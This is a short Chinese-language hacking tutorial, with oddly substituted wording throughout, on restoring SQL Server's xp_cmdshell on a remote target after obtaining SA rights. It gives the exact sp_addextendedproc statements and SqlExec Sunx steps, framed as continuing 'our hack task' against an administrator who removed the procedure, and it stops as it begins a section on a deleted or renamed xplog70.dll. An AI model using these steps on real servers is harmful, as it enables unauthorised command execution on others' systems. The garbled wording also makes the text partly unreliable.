需求预备的东西:
SQL Query Analyzer和SqlExec Sunx Version
榜首部分:
去掉xp_cmdshell维护体系的具体分析:
句子如下:
1.去掉xp_cmdshell扩展进程的办法是运用如下句子:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]’) and OBJECTPROPERTY(id,N’IsExtendedProc’)=1)exec sp_dropextendedproc N'[dbo].[xp_cmdshell]’
2.增加xp_cmdshell扩展进程的办法是运用如下句子:
sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
现在看看现象:
咱们在获得SA权限后长途用Sqlexec履行cmd指令,呈现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
现在来看看被去掉xp_cmdshell后康复的两种办法:
办法一、运用SQL Query Analyzer衔接对方后直接写入,挺便利sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
办法二、运用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc ‘xp_cmdshell’,’xpsql70.dll’或许对Sql2000情况下运用sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’别的运用SqlExec Sunx Version来去除xp_cmdshell的办法和加的时分挑选条件相同,然后输入sp_dropextendedproc ‘xp_cmdshell’就可以了。
第二部分:
假设对方现已把xplog70.dll删去或许改了名,咱们来用下面的办法持续咱们的hack使命:
当呈现如下现象暗示代表很有可能是xplog70.dll删去或许改了名。
在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’提示数据库中已存在名为’xp_cmdshell’的目标。